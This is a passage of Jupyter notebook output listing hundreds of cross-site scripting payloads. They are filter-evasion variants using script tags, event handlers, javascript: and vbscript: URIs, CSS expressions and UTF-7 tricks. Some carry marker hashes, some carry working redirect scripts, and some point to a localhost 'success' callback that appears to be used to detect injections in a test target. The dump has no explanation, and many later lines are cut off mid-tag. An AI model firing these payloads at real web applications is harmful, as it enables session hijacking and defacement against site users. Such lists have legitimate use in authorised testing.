      "X<form id=test onforminput=javascript:5b155184d5e613bbdacb7fcc7ef9b1b3><input></form>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:97489f2a9e207c20501beba68f99be1f>X\n",
      "<video><source onerror=\"javascript:7f31ef9bce260dc01128397db70e5360\">\n",
      "<video onerror=\"javascript:4949d88e8a4ec989a97b42bc84c224f0\"><source>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "\"><img src=\"x:x\" onerror=\"73dc3cbe26108269cf22ddc6ae63a871\">\n",
      "\">6eda573dada7837bdcfe74680f12a100\n",
      "\"><SCRIPT>alert('1a3a096012d0a83f7a7fdd300d6956af')</SCRIPT>\n",
      "</TITLE>f43282308d59840e57149d2eb59c0534\n",
      "'';!--\"<e86a24a97d443d87c781fffca7b6b16a>=&{()}\"\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=bd6f8782786d26de4318dc6fe22a32d4>\n",
      "'';!--\"<d5d23ab4f17e77cafeda6f96f596ed0f>=&{()}\"\n",
      "<IMG SRC=b7994a8a3bfe50aeab3a3f08e28d82c8>\n",
      "<IMG SRC=\"5bdc23388e778546ea5c73a9c01e780c\">\n",
      "<IMG SRC=`6cea41e85935a7ed456a88880f56f532`>\n",
      "<IMG \"\"\">1bc866ee3e97ef4e77c18d84943efb2c\">\n",
      "<DIV STYLE=\"behaviour: url(968a7a77afba18bc994df2e239c0bd7f);\">\n",
      "<IMG SRC=\" &#14;  47d4af86806375a0ff805ddc800ed097\">\n",
      "<<SCRIPT>a7a7cf48b678d56d0ee40f44a006b85c//<</SCRIPT>\n",
      "\";a3c1287221759f2e23e3d743d2ec0f2c//\n",
      "<IMG SRC='c7b6d74360ebd66836eb5567a049acdb'\n",
      "<BODY BACKGROUND=\"cf1356c34d7b4e9f5df151aaeebd4369\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"a0bbd9781820502a1b4b139c7d2a453c\">\n",
      "<BODY ONLOAD=329d2cf41714069b47f8c13a153fb326>\n",
      "<IMG DYNSRC=\"7a763bbdb9fd1e5aa538272139fd6263\">\n",
      "<IMG LOWSRC=\"dae4eb8fc08d8d2aed9e68bcf8501bf4\">\n",
      "<BGSOUND SRC=\"df9e7a80639b6765250bf7f7106328c4\">\n",
      "<BR SIZE=\"&{8d2d1448c7949540c132b4657f973ead}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"f118bc5e93307072a47e8d26687559a0\">\n",
      "<IMG SRC='vbscript:59c84ffe3409def82083e36ae5a5769c'>\n",
      "<IMG SRC=\"mocha:[a5b54dbb5167d5c6f89c074571478226]\">\n",
      "<IMG SRC=\"livescript:[2974eae4bd0b86bea236bc375c66688f]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=4ed90a6a4c46b61c469779afd9f4d983\">\n",
      "<TABLE BACKGROUND=\"c906795462c0d1ac66d2f56b462ad8e2\">\n",
      "<TABLE BACKGROUND=javascript:2e65bba85681ecc739aedede7b7de551>\n",
      "<TABLE><TD BACKGROUND=\"60742be386603efc1cbdc2d8ddc287db\">\n",
      "<DIV STYLE=\"background-image: url(229d4b2d2f79bb02102cc1b74553797b);\">\n",
      "<DIV STYLE=\"width: expression(7e22ca493425643ac26d24878d04e0a4);\">\n",
      "<IFRAME SRC=\"93cd1792df4448564458b2191066e367\"></IFRAME>\n",
      "<iframe/ /onload=c85161f7fc07fb59853fa22eebe2dd85></iframe>\n",
      "<iframe/ \"onload=994652bd4bdc2c7cfb71e1514d786f48></iframe>\n",
      "<iframe///////onload=918dd4cb946a5125cb5d0534848faeba></iframe>\n",
      "<iframe \"onload=a8bba198bbd7e00388c6dc57004bdaf7></iframe>\n",
      "<iframe/ \"onload=215e03ce78f92d1e7ddb68e0c5f5c348></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=da8bdcca0fb99d9d2b3b9b091fb9c1fd></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=69ca100ce02da2664708cb0352647dff></iframe>\n",
      "<FRAMESET><FRAME SRC=\"5366cdbc7d788ea35a944fa0c3863901\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"fbf1f271282c00c1d156bfeb7b8df401\">\n",
      "<TABLE><TD BACKGROUND=\"3d0ff1df4169e7690c3c51301b7e5b9e\">\n",
      "<DIV STYLE=\"background-image: url(&#1;d22d427ab02e13b886ebabe70b22efef)\">\n",
      "<IMG STYLE=\"xss:expr/*9d230fbca745e073ba96f1febc15eac6*/ession(9d230fbca745e073ba96f1febc15eac6)\">\n",
      "<DIV STYLE=\"width: expression(ad0f7f2ccd826d938588b8ed7c14e11f);\">\n",
      "<e847c499fef35a36f2cf2c5bb0af543a STYLE=\"xss:expression(e847c499fef35a36f2cf2c5bb0af543a)\">\n",
      "<STYLE TYPE=\"text/javascript\">87ac772815ae4360f919c4303356480d</STYLE>\n",
      "<STYLE>.4bdc42c40d48d42a3dc1bffbd4032a48{background-image:url(\"4bdc42c40d48d42a3dc1bffbd4032a48\");}</STYLE><A CLASS=4bdc42c40d48d42a3dc1bffbd4032a48></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"e047bb980e8dc8ac9e625274696946cf\")}</STYLE>\n",
      "<!--[if gte IE 4]>222d54c47f27bba74a088afa98f68997<![endif]-->\n",
      "<BASE HREF=\"02f3a3a9d0b9089d9679b303a53c5319//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=c4105610d5f5d5503f351d1cc609b4bf></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"3e10977287624b52c0eaf41bc8254c55\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>d9042d082c34aee1f1525f90a29e54e9</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;cc9ab0dcfdb4abae4f4484da125ad31c&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>200acd7eb97b448169034f4be24912ba</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:cef032a31a93d6a0d8a097fad37bb306\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:7b48ff5d5c7e9203a33bc0a88e4a9a5c\">\n",
      "--- <IMG SRC=\" &#14;  ab677d0ddcfdb64b15193eae94a502b2\">\n",
      "--- <IMG SRC=\"80d1b3d692f447d983ecc8b198dd9ae0\"\n",
      "<SCRIPT>a=/a3feba9eecd75771649d3a4ca3ab9b62/alert(a.source)</SCRIPT>\n",
      "--- \";554e4b18d01dd5bb3176351e751a2329;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=34c90c39712029219ab2683a9f1f3d8a\">\n",
      "<SCRIPT <B>=6bccf52d8d6b2a59611d6ec108c55423\"></SCRIPT>\n",
      "<STYLE>li {list-style-image: url(\"cf2f8baccbfb859468067a5819a8cb0b</STYLE><UL><LI>cf2f8baccbfb859468067a5819a8cb0b\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:b22a241c83cbe9086e7b16aa9fffbc42\">\n",
      "<IFRAME SRC=\"javascript:31486c905577f7cd844a9cd3e8199684 <\n",
      "<LAYER SRC=\"javascript:c3e4c917c201a3ec08c5ceb6199d7e40></LAYER>\n",
      "<SCRIPT>a=/ca90f6c6f10855bf886fdf5501a2dabc/nca90f6c6f10855bf886fdf5501a2dabc</SCRIPT>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-e1e760c967244ea6c9c4eb05698aa429+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#3e06882c057c74d6f374d344d7bb94c9\">\n",
      "<input type=\"image\" dynsrc=\"6fbc38b1c3d82d2d883ec42eff3f7b15\">\n",
      "&{29466a5cc39dec6cb65d3e385e5ec25e};\n",
      "&e8aec8e70540666febfd9b1e2d2ec5ab\">\n",
      "<IMG SRC=&{7ce45e4f5a734dd42b7cc2c6796e840e};>\n",
      "<a href=\"about:114529d77f469795504788cacd113b23\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:f66dc27198a1a22909206ae0915c24bc\">\n",
      "<DIV STYLE=\"binding: url(javascript:d7fb49f69aed3922265ebbd2f8f792af);\">\n",
      "<style><!--</style><SCRIPT>1c5061d86e10e63fa94d1071835acf82//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>c84aa1b863a990e3dc3f0bc373fdc36c//--></SCRIPT>\n",
      "<!-- -- -->c48896562676f2f98e471b162ff72895<!-- -- -->\n",
      "<xml id=\"X\"><a><b>6263b591174702b12cbb251a6a7a9928;<b></a></xml>\n",
      "<select onfocus=javascript:05cb8caa70db36a83239d6b81e578b96 autofocus>\n",
      "<input onfocus=javascript:f0f72b134e9c4f3d2b3dc9e982bf929b autofocus>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#4fffe2ffb00e9bf6d08fe4bd9bba0d14\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:fbd658a7823f20e7f7f0abc746dd311d\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:b538b1bc06c3d1f47080dfb56f9c12df\">X\n",
      "<keygen onfocus=javascript:737da2f2ed02b40080d2dd20482d1a25 autofocus>\n",
      "<input onblur=javascript:22d7c69bea6f202ea1f073060ddfd238 autofocus><input autofocus>\n",
      "X<form id=test onforminput=javascript:6727b35441ecb7ef5de8bc745b72bc0e><input></form>\n",
      "<video poster=javascript:3a3025c3a659277b619fdee4766ab8ce//\n",
      "<body onscroll=643e86288223c327b735082f91b71ba7><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<textarea onfocus=javascript:e980d3057b8f29ebeeaade59a33765c4 autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:2230f9e28b7dd085b9bf3785d6a524e7>X\n",
      "<video><source onerror=\"javascript:b5e7c8cd4a624ade2fdb7d0f8e19cbef\">\n",
      "<video onerror=\"javascript:2540b42fde6ad20b6c33d5c0f8b0288e\"><source>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<IMG SRC=http://localhost:19084/success/b7994a8a3bfe50aeab3a3f08e28d82c8>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/7a763bbdb9fd1e5aa538272139fd6263\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/dae4eb8fc08d8d2aed9e68bcf8501bf4\">\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/f118bc5e93307072a47e8d26687559a0\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/cf1356c34d7b4e9f5df151aaeebd4369\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/3d0ff1df4169e7690c3c51301b7e5b9e\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/59c84ffe3409def82083e36ae5a5769c'>\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/df9e7a80639b6765250bf7f7106328c4\">\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/fbf1f271282c00c1d156bfeb7b8df401\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/60742be386603efc1cbdc2d8ddc287db\">\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "--- <IMG SRC=\"http://localhost:19084/success/80d1b3d692f447d983ecc8b198dd9ae0\"\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/73dc3cbe26108269cf22ddc6ae63a871\">\n",
      "<IMG SRC=\"http://localhost:19084/success/5bdc23388e778546ea5c73a9c01e780c\">\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/a0bbd9781820502a1b4b139c7d2a453c\">\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/a5b54dbb5167d5c6f89c074571478226]\">\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/c906795462c0d1ac66d2f56b462ad8e2\">\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/1a3a096012d0a83f7a7fdd300d6956af')</SCRIPT>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/4bdc42c40d48d42a3dc1bffbd4032a48\");}</STYLE><A CLASS=XSS></A>\n",
      "<IMG SRC=`http://localhost:19084/success/6cea41e85935a7ed456a88880f56f532`>\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/e047bb980e8dc8ac9e625274696946cf\")}</STYLE>\n",
      "<IMG SRC='http://localhost:19084/success/c7b6d74360ebd66836eb5567a049acdb'\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/2974eae4bd0b86bea236bc375c66688f]\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/3e10977287624b52c0eaf41bc8254c55\")\";eval(a+b+c+d);\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "\">cfd461bb15e193d59ed3abd0fe4b4dff\n",
      "\"><img src=\"x:x\" onerror=\"b2cd838d7f0c77511234109c39ee7a14\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=9c5e87dcdac9e39e6ce44685e5badb85>\n",
      "</TITLE>bd2e4aa1c99b554cbc28fd97c3a78efb\n",
      "\"><SCRIPT>alert('2bd6715827f857d58b4051305748bc3c')</SCRIPT>\n",
      "'';!--\"<95c89ea34e86967c1269817a67d5c5d6>=&{()}\"\n",
      "'';!--\"<1c082ad1cc74789f6ae8571f355c111d>=&{()}\"\n",
      "<IMG SRC=b60d95cf26156a80d07b3688519dd41e>\n",
      "<IMG SRC=\"68a79e3450d79449c5be6d36a9f34b30\">\n",
      "<IMG SRC=`56e170099b237a00c4b2257f185481fb`>\n",
      "<IMG \"\"\">6db091baec6d87c412b3da90ad1a5c03\">\n",
      "<IMG SRC=\" &#14;  25ae8c77922edad4278285f30fcd84b6\">\n",
      "<DIV STYLE=\"behaviour: url(f1278923ef0c17ea64a85423b0dfe645);\">\n",
      "\";6ce82939794e9ab6a64aa5e147820d69//\n",
      "<<SCRIPT>a9da87d336904597888988285bc71ec3//<</SCRIPT>\n",
      "<IMG SRC='46d8fa82c88dbb5b8e9127b0532705a4'\n",
      "<BODY BACKGROUND=\"1968090e0b7d860ecde2f9de4c9ac7c2\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"1b866ffd45d051d5fb9da3db1fb3a1f0\">\n",
      "<BODY ONLOAD=862c7a486cc25d6c847308156c4d53ab>\n",
      "<IMG DYNSRC=\"3a172112404b10febbd3d4b7a95d3f4e\">\n",
      "<IMG LOWSRC=\"6add4fc3fc9aaffd472dfe783bfee921\">\n",
      "<BGSOUND SRC=\"b0d418ed4787ec95bc1b2e299207cdf1\">\n",
      "<BR SIZE=\"&{688750912712c0de4218ffb5ecb7697e}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"44f4cf25516118c050423eb08967551d\">\n",
      "<IMG SRC='vbscript:85dba3301ddba348ac11cdee70240848'>\n",
      "<IMG SRC=\"mocha:[b8de2ecee99d02f65c5dba99cdbf2a33]\">\n",
      "<IMG SRC=\"livescript:[e462e46bdfd074ad1c7a6bdb71a8527c]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=7e4b60b3847c740ebda1581768f0018f\">\n",
      "<TABLE BACKGROUND=\"d561655a7ade28f0ead90c8fbc6918c6\">\n",
      "<TABLE BACKGROUND=javascript:aced72c0897ee5fbf1379221db6f35d3>\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "<TABLE><TD BACKGROUND=\"d0d0ab67a1364a534722f32d0568c631\">\n",
      "<DIV STYLE=\"background-image: url(802c82d13371c300f6c7c7bd3a2a77ec);\">\n",
      "<DIV STYLE=\"width: expression(2c6640456b463eeb4aa754fcd69690b4);\">\n",
      "<IFRAME SRC=\"6bd68483e83c90aa3a094375c661fab1\"></IFRAME>\n",
      "<iframe/ /onload=90d6a81a7455fa018633ce59898c61a3></iframe>\n",
      "<iframe/ \"onload=2e9edd2ea180a11ac1f752993bfafe84></iframe>\n",
      "<iframe///////onload=95fa14225557d5a032f0c4e0e015b9d6></iframe>\n",
      "<iframe \"onload=b3d09589d5ba30c6016e5c67cf7cd222></iframe>\n",
      "<iframe/ \"onload=e398275a04372d4c2da8546f921890d9></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=7ff8a58b62f46a21209e6cc1f3a84716></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=75f23ff07f139d9985285e5c0e179c19></iframe>\n",
      "<FRAMESET><FRAME SRC=\"e2c83eb5a055a8480c3b5872f630eac8\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"faa6f6ce7fcc6ad5e36e5e51e011745e\">\n",
      "<TABLE><TD BACKGROUND=\"38d1969785688d8188cb9087afc73596\">\n",
      "<DIV STYLE=\"background-image: url(&#1;ef6f6dff9d24376a18264f69bfc6d840)\">\n",
      "<DIV STYLE=\"width: expression(d74713fa023833682221d9249aa45412);\">\n",
      "<STYLE TYPE=\"text/javascript\">ab7340c89f8f8beb337aa025178cada1</STYLE>\n",
      "<31c2b692ade2f5171555f2a721b99c84 STYLE=\"xss:expression(31c2b692ade2f5171555f2a721b99c84)\">\n",
      "<IMG STYLE=\"xss:expr/*2eca841291df8c05156e0ef498f08980*/ession(2eca841291df8c05156e0ef498f08980)\">\n",
      "<STYLE>.5ed757fa158eb98c5e14ed4f287b241f{background-image:url(\"5ed757fa158eb98c5e14ed4f287b241f\");}</STYLE><A CLASS=5ed757fa158eb98c5e14ed4f287b241f></A>\n",
      "<!--[if gte IE 4]>02df9f845d2a753230a88371667ffe10<![endif]-->\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"9a5cabb8d96bc668c810c68460acc35e\")}</STYLE>\n",
      "<BASE HREF=\"ad4be7742a3f4966007f4592df686e98//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=569049dd1d942abdc48a89e496e1ff89></OBJECT>\n",
      "<? echo('<SCR)';echo('IPT>cb3da0ccbc360d01ed5c0ddbe7bf0a27</SCRIPT>'); ?>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"28eb351abebc1059e896c52476addbf3\")\";eval(a+b+c+d);\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;5d820ad10a7e71311718163fe02bf348&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>6f33d497274c15a3d7c7f181624dd09f</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:550df22cb822d42326603a357f1f01a2\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:b325ceda41f38f37e7e4d0d4cb925a0a\">\n",
      "--- <IMG SRC=\" &#14;  e97168bf056b26d026a0e194c054ad38\">\n",
      "<SCRIPT>a=/a8456d9652e46ccf9882692c96dc2be5/alert(a.source)</SCRIPT>\n",
      "--- <IMG SRC=\"a9e02e1f7adeb242bd651381cde7a889\"\n",
      "--- \";1ed6d36974f629a9f2a3a76e98236487;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=d4348545c5654e4a1aff87a9517e8d29\">\n",
      "<SCRIPT>a=/f01cf7e670b9f4d6585d6dbb36434a38/nf01cf7e670b9f4d6585d6dbb36434a38</SCRIPT>\n",
      "<SCRIPT <B>=3d57572f0675b119a4198b5fc2daffc3\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:eae91fdc6c484e8cf6907d54e3bfc828 <\n",
      "<LAYER SRC=\"javascript:34eb802c349eaf47d50aaec68db852c7></LAYER>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-cc15d0e1a163e8f756838aa04fe0ea34+ADw-/SCRIPT+AD4-\n",
      "<STYLE>li {list-style-image: url(\"620db552b046ea4c1e07e34be17ff062</STYLE><UL><LI>620db552b046ea4c1e07e34be17ff062\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:e95c815349e9c59cec189e44a1326eb1\">\n",
      "<input type=\"image\" dynsrc=\"f4d6b85b6d4525b288ac63060c608941\">\n",
      "<a href=\"javascript#8a4dac367c143097a868a086cf90e173\">\n",
      "&a4dbdeea50a04e6f0e092060d151d483\">\n",
      "&{0772a70ba376f7396e1670ab74a1cdad};\n",
      "<IMG SRC=&{9d1177bd523752f251ab275594e8a4ef};>\n",
      "<a href=\"about:1a8bf8384bcad88ea7bdce6134104820\">\n",
      "<style><!--</style><SCRIPT>29f077b2e3233754901170ff9638000c//--></SCRIPT>\n",
      "<DIV STYLE=\"binding: url(javascript:f32695247f0462239361fd93a138c8bb);\">\n",
      "![CDATA[<!--]]<SCRIPT>80640ba4f9e2bc7add2288763030717a//--></SCRIPT>\n",
      "<!-- -- -->748696bf0cc3e3b08c8938d7ac958324<!-- -- -->\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:517e22acb884a1d8d4682f2b3559cff4\">\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:b4fa547683573a1d6de03c742207d3f3\">]]</C><X></xml>\n",
      "<input onfocus=javascript:99a3327f1ead65df63c5646f69370001 autofocus>\n",
      "<xml id=\"X\"><a><b>6154ff46573260f00de20092917055d3;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#8e452db225a7f4841753d280f2d6c3a1\"></div>\n",
      "<select onfocus=javascript:0e85c8b6f894c84c47c1708bd467a99e autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:a526b763e635d5b8cf497563c6ed1664\">X\n",
      "<video poster=javascript:65f35405ef53ccc74ffb90ecb7abb855//\n",
      "<keygen onfocus=javascript:50529c053803e89fa02004703229383c autofocus>\n",
      "<input onblur=javascript:38de43e245695c0c309061b086f22fa0 autofocus><input autofocus>\n",
      "<textarea onfocus=javascript:6c491d15b4e655cd2fddd76abadf2408 autofocus>\n",
      "X<form id=test onforminput=javascript:04c67b4d47af03104d874b9f5ff6386c><input></form>\n",
      "<body onscroll=cb5065d00b5f69019278cc6de4c099d3><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:7a3213e5ec17a01702655c7ec26f44ed>X\n",
      "<video><source onerror=\"javascript:a466197b5057f99d22160e52d0805439\">\n",
      "<video onerror=\"javascript:6649280768f4d8c3de67996cec3153dc\"><source>\n",
      "</pre><script>alert('xss')</script><pre>&user_token=d85344972c69f93b3920a97ddd68f705\n",
      "<script>alert(/xss/)</script>&user_token=32875b43a29398c3353aaffc83935b05\n",
      "\\\">4adaf0438b8857a099ef69a578d994a6\n",
      "'';!--\\\"<ad3721a90e026d5174c038420d044ff9>=&{()}\\\"\n",
      "\\\"><SCRIPT>alert('b680980624bbe04260737931aacf5b3d')</SCRIPT>\n",
      "\\\"><img\n",
      "</TITLE>f517a6ce012cb4d3523083bc6874b025\n",
      "<BODY\n",
      "<IMG\n",
      "'';!--\\\"<61191a9daf3c39d6f3fe74d329aea9d9>=&{()}\\\"\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<IMG\n",
      "<DIV\n",
      "<<SCRIPT>8602516ddfdaa4dd59389950a6d0066d//<</SCRIPT>\n",
      "\\\";ee813b01f06d7a8af5d22f4683705902//\n",
      "<BODY\n",
      "<IMG\n",
      "<INPUT\n",
      "<IMG\n",
      "<BODY\n",
      "<IMG\n",
      "<BGSOUND\n",
      "<BR\n",
      "<LINK\n",
      "<IMG\n",
      "<IMG\n",
      "<META\n",
      "<IMG\n",
      "<TABLE\n",
      "<TABLE\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<DIV\n",
      "<iframe/\n",
      "<IFRAME\n",
      "<iframe/\n",
      "<iframe///////onload=3424adab556ee8e58dc767873071846d></iframe>\n",
      "<iframe\n",
      "<iframe<?php\n",
      "<iframe/\n",
      "<iframe<?php\n",
      "<FRAMESET><FRAME\n",
      "<TABLE\n",
      "<DIV\n",
      "<TABLE><TD\n",
      "<DIV\n",
      "<IMG\n",
      "<STYLE>.251924d876c606dbf4c454ec8f5d16c1{background-image:url(\\\"251924d876c606dbf4c454ec8f5d16c1\\\");}</STYLE><A\n",
      "<STYLE\n",
      "<3999a4e991ff6b66736c18ec46512690\n",
      "<STYLE\n",
      "<!--[if\n",
      "<OBJECT\n",
      "<BASE\n",
      "<?\n",
      "\\\"get\\\";b=\\\"URL(\\\"\\\";c=\\\"javascript:\\\";d=\\\"d5b63934f0468e10780c8da6f20bc8c8\\\")\\\";eval(a+b+c+d);\n",
      "<META\n",
      "<SCRIPT\n",
      "<IMG\n",
      "---\n",
      "<IMG\n",
      "---\n",
      "<SCRIPT>a=/9cd3059cd00b0a294246dde63513f0c9/alert(a.source)</SCRIPT>\n",
      "---\n",
      "<META\n",
      "<SCRIPT\n",
      "<IFRAME\n",
      "<SCRIPT>a=/309bcfe1dd1c9ec1ed8c5be2f40fe6f7/n309bcfe1dd1c9ec1ed8c5be2f40fe6f7</SCRIPT>\n",
      "<LAYER\n",
      "<STYLE>li\n",
      "<DIV\n",
      "<HEAD><META\n",
      "<a\n",
      "&f32078c8e4f136320f498a10242c1a2e\\\">\n",
      "<input\n",
      "&{43be8a93e08cb20f14f28a04b2834535};\n",
      "<IMG\n",
      "<a\n",
      "<style><!--</style><SCRIPT>45569b9651d137d2e82447ba56be95fb//--></SCRIPT>\n",
      "<OBJECT\n",
      "<DIV\n",
      "![CDATA[<!--]]<SCRIPT>c98bb42d0c7546afa5214c4df52ae171//--></SCRIPT>\n",
      "<!--\n",
      "<div\n",
      "<xml\n",
      "<form\n",
      "<XML\n",
      "<input\n",
      "<select\n",
      "<textarea\n",
      "<keygen\n",
      "<input\n",
      "<video\n",
      "<body\n",
      "X<form\n",
      "X<form\n",
      "<video><source\n",
      "<video\n",
      "\\\">d009abc05b86d83824194e7f936dca85\n",
      "\\\"><SCRIPT>alert('4b798e93bebe094be59a951b8d3f2f9e')</SCRIPT>\n",
      "'';!--\\\"<1271b8f9b8251e9eb0c0d2a0dfc783c3>=&{()}\\\"\n",
      "<BODY\n",
      "\\\"><img\n",
      "</TITLE>93fc39d1f8c6060edef86c8a01f851fd\n",
      "<IMG\n",
      "<IMG\n",
      "'';!--\\\"<91bef30a24690b126ec712d91ac0cd5e>=&{()}\\\"\n",
      "<IMG\n",
